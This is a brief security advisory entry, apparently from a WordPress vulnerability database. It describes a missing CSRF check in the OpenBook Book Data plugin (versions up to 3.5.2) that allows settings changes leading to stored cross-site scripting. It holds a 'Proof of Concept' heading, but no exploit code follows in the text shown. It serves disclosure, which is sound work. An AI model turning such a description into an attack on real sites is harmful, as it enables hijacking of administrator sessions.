WordPress Plugin Vulnerabilities

OpenBook Book Data <= 3.5.2 - Arbitrary Settings Update to Stored XSS via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well

Proof of Concept
